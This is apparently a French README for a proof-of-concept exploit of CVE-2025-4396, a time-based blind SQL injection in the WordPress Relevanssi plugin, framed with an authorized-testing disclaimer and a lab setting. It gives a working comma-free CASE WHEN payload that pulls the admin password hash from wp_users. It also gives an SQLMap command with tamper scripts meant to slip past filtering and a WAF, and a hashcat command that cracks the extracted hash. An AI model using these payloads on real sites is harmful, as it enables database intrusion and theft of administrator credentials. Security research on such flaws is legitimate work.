
CVE-2025-4396 - Injection SQL aveugle basée sur le temps dans WordPress Relevanssi
Avertissement : Ce dépôt est destiné uniquement à des tests d'intrusion autorisés, à la recherche en sécurité et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique.
Une preuve de concept d'exploitation pour une vulnérabilité d'injection SQL aveugle basée sur le temps dans le plugin WordPress Relevanssi 4.24.4. Cette implémentation cible spécifiquement les environnements durcis où :
SUBSTR(str, pos, len) et IF(cond, true, false)SLEEP() avant d'évaluer l'expression complète, générant des faux positifsDans certains environnements (par exemple, le labo DVWP), les charges utiles d'injection SQL standard échouent pour deux raisons principales :
| Problème | Effet |
|---|---|
| Suppression des virgules | Casse SUBSTR(str, pos, len) et IF(cond, true, false) |
SLEEP() gourmand | MySQL évalue le délai avant l'expression booléenne complète, générant des faux positifs |
Les deux problèmes nécessitent des solutions de contournement ciblées — couvertes par les approches manuelles et automatisées ci-dessous.
asy.py)Un script Python asynchrone permettant une extraction chirurgicale caractère par caractère. Évite la surcharge des outils automatisés et contourne le filtrage des virgules via la logique CASE WHEN.
| Fonctionnalité | Implémentation |
|---|---|
| E/S asynchrones | aiohttp pour les requêtes non bloquantes |
| Charges utiles sans virgules | Syntaxe SUBSTR(str FROM pos FOR len) |
| Logique non gourmande | CASE WHEN garantit que SLEEP() ne se déclenche que sur TRUE |
# Charge utile temporelle sans virgule, basée sur CASE WHEN
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Pourquoi CASE WHEN plutôt que IF() ?
IF() utilise des virgules et est sujet à une évaluation gourmande. CASE WHEN évalue paresseusement, garantissant que SLEEP() n'est déclenché que lorsque la condition est réellement TRUE.
SQLMap peut automatiser la découverte dans cet environnement en utilisant des scripts de modification et des drapeaux spécifiques.
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
| Drapeau | Objectif |
|---|---|
--tamper=commalessmid,if2case | Réécrit les charges utiles en SQL sans virgule ; remplace IF() par CASE WHEN |
--tamper=between | Remplace les comparaisons > par BETWEEN pour un contournement supplémentaire du WAF |
--technique=T | Limite à l'injection aveugle basée sur le temps uniquement |
--no-cast | Empêche les wrappers CAST() qui introduisent des virgules interdites |
--threads=1 | Assure la précision temporelle — les requêtes simultanées provoquent des chevauchements de délais |
Note sur
--threads=1: Cela est essentiel pour une extraction fiable. Plusieurs threads provoquent un chevauchement des délais de veille, corrompant le timing de la recherche binaire et produisant une sortie déformée.
| Champ | Valeur |
|---|---|
| Cible | Table wp_users de WordPress |
| Utilisateur | admin (ID = 1) |
| Hachage extrait | REDACTED |
| Algorithme | phpass (hachage standard des mots de passe WordPress) |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400 cible les hachages phpass-a 0 est une attaque par dictionnaire directe utilisant rockyou.txt